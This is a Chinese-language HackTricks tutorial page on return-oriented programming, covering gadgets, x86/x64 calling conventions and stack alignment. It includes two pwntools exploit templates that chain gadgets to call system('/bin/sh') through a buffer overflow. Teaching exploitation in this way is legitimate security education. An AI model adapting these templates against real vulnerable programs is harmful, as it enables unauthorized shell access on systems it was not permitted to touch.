> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing.md).

# ROP - Return Oriented Programing

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **基本信息**

**返回导向编程（ROP）是一种高级利用技术，用于规避诸如不可执行（NX）或数据执行防护（DEP）等安全措施。攻击者不是注入和执行shellcode，而是利用二进制文件或加载的库中已经存在的代码片段，称为“gadgets”**。每个gadget通常以`ret`指令结尾，并执行小操作，例如在寄存器之间移动数据或执行算术操作。通过链接这些gadgets，攻击者可以构建有效绕过NX/DEP保护执行任意操作的有效载荷。

### ROP的工作原理

1. **控制流劫持**：首先，攻击者需要劫持程序的控制流，通常是通过利用缓冲区溢出来覆盖栈上保存的返回地址。
2. **Gadget链接**：然后，攻击者仔细选择和链接gadgets以执行所需的操作。这可能涉及为函数调用设置参数，调用函数（例如`system("/bin/sh")`），以及处理任何必要的清理或附加操作。
3. **有效载荷执行**：当易受攻击的函数返回时，它不是返回到合法位置，而是开始执行gadgets链。

### 工具

通常可以使用[**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper)或直接使用**pwntools**（[ROP](https://docs.pwntools.com/en/stable/rop/rop.html)）来查找gadgets。

## x86示例中的ROP链

### **x86（32位）调用约定**

* **cdecl**：调用者清理堆栈。函数参数以相反顺序（从右到左）推送到堆栈上。**参数从右到左推送到堆栈上**。
* **stdcall**：类似于cdecl，但被调用方负责清理堆栈。

### **查找Gadgets**

首先，让我们假设我们已经在二进制文件或其加载的库中识别出必要的gadgets。我们感兴趣的gadgets包括：

* `pop eax; ret`：此gadget将堆栈顶部的值弹出到`EAX`寄存器中，然后返回，允许我们控制`EAX`。
* `pop ebx; ret`：类似于上述，但用于`EBX`寄存器，使得可以控制`EBX`。
* `mov [ebx], eax; ret`：将`EAX`中的值移动到由`EBX`指向的内存位置，然后返回。这通常称为**write-what-where gadget**。
* 此外，我们有`system()`函数的地址可用。

### **ROP链**

使用**pwntools**，我们为ROP链执行准备堆栈，如下所示，旨在执行`system('/bin/sh')`，请注意链从以下开始：

1. 用于对齐目的的`ret`指令（可选）
2. `system`函数的地址（假设ASLR已禁用且已知libc，更多信息请参阅[**Ret2lib**](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)）
3. 来自`system()`的返回地址的占位符
4. `"/bin/sh"`字符串地址（system函数的参数）

```python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```

## x64中的ROP链示例

### **x64（64位）调用约定**

* 在类Unix系统上使用 **System V AMD64 ABI** 调用约定，其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 和 `R9` 传递**。额外的参数通过堆栈传递。返回值放在 `RAX` 中。
* **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8`, 和 `R9` 作为前四个整数或指针参数，额外的参数通过堆栈传递。返回值放在 `RAX` 中。
* **寄存器**：64位寄存器包括 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 和 `R8` 到 `R15`。

#### **查找Gadgets**

为了我们的目的，让我们专注于能够设置 **RDI** 寄存器（将 **"/bin/sh"** 字符串作为参数传递给 **system()**）并调用 **system()** 函数的gadgets。我们假设已经识别出以下gadgets：

* **pop rdi; ret**：将堆栈顶部的值弹出到 **RDI** 中，然后返回。用于为 **system()** 设置参数至关重要。
* **ret**：一个简单的返回，对于某些情况下的堆栈对齐很有用。

我们知道 **system()** 函数的地址。

### **ROP链**

以下是一个使用 **pwntools** 的示例，设置并执行一个旨在在 **x64** 上执行 **system('/bin/sh')** 的ROP链：

```python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```

在这个例子中：

* 我们利用 **`pop rdi; ret`** 工具来将 **`RDI`** 设置为 **`"/bin/sh"`** 的地址。
* 在设置完 **`RDI`** 后，我们直接跳转到 **`system()`**，链中包含 **system()** 的地址。
* 如果目标环境需要，可以使用 **`ret_gadget`** 进行对齐，这在 **x64** 中更常见，以确保在调用函数之前正确对齐堆栈。

### 堆栈对齐

**x86-64 ABI** 确保在执行 **call 指令** 时 **堆栈是 16 字节对齐**的。**LIBC** 为了优化性能，**使用 SSE 指令**（如 **movaps**），这些指令需要这种对齐。如果堆栈没有正确对齐（意味着 **RSP** 不是 16 的倍数），在 **ROP 链** 中调用 **system** 等函数将会失败。为了解决这个问题，在调用 **system** 之前在你的 ROP 链中添加一个 **ret gadget**。

## x86 与 x64 的主要区别

{% hint style="success" %}
由于 **x64 使用寄存器传递前几个参数**，因此对于简单的函数调用，通常需要的 gadget 较少，但由于寄存器数量增加和地址空间更大，找到并链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为利用开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
{% endhint %}

## ARM64 示例中的 ROP 链

### **ARM64 基础知识和调用约定**

查看以下页面获取这些信息：

{% content-ref url="/pages/9xyQvIb3WYv4XpLvSgct" %}
[Introduction to ARM64v8](/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}

## 防护措施防止 ROP

* [**ASLR**](/binary-exploitation/common-binary-protections-and-bypasses/aslr.md) **和** [**PIE**](/binary-exploitation/common-binary-protections-and-bypasses/pie.md)：这些保护措施使得使用 ROP 更加困难，因为 gadget 的地址在执行过程中会发生变化。
* [**堆栈 Canary**](/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries.md)：在发生缓冲区溢出时，需要绕过存储的堆栈 Canary，以覆盖返回指针以滥用 ROP 链。
* **Gadget 不足**：如果没有足够的 gadget，将无法生成 ROP 链。

## 基于 ROP 的技术

请注意，ROP 只是一种执行任意代码的技术。基于 ROP，开发了许多 Ret2XXX 技术：

* **Ret2lib**：使用 ROP 从加载的库中调用带有任意参数的任意函数（通常类似于 `system('/bin/sh')`）。

{% content-ref url="/pages/GLPNs0jVOGEgPvB45FtZ" %}
[Ret2lib](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)
{% endcontent-ref %}

* **Ret2Syscall**：使用 ROP 准备对系统调用（例如 `execve`）的调用，并使其执行任意命令。

{% content-ref url="/pages/UZaS3Vpd4JlAp5RAN7gB" %}
[Ret2syscall](/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
{% endcontent-ref %}

* **EBP2Ret 和 EBP 链接**：第一个将滥用 EBP 而不是 EIP 来控制流程，第二个类似于 Ret2lib，但在这种情况下，流程主要由 EBP 地址控制（尽管需要控制 EIP）。

{% content-ref url="/pages/mfM13EhzcPx6nptuPs1q" %}
[Stack Pivoting - EBP2Ret - EBP chaining](/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
{% endcontent-ref %}

## 其他示例和参考资料

* <https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions>
* <https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html>
* 64 位，启用 Pie 和 nx，无 Canary，用 `vsyscall` 地址覆盖 RIP，目的是返回到堆栈中下一个地址，这将部分覆盖地址以获取泄漏标志的函数部分
* <https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/>
* arm64，无 ASLR，ROP gadget 使堆栈可执行并跳转到堆栈中的 shellcode
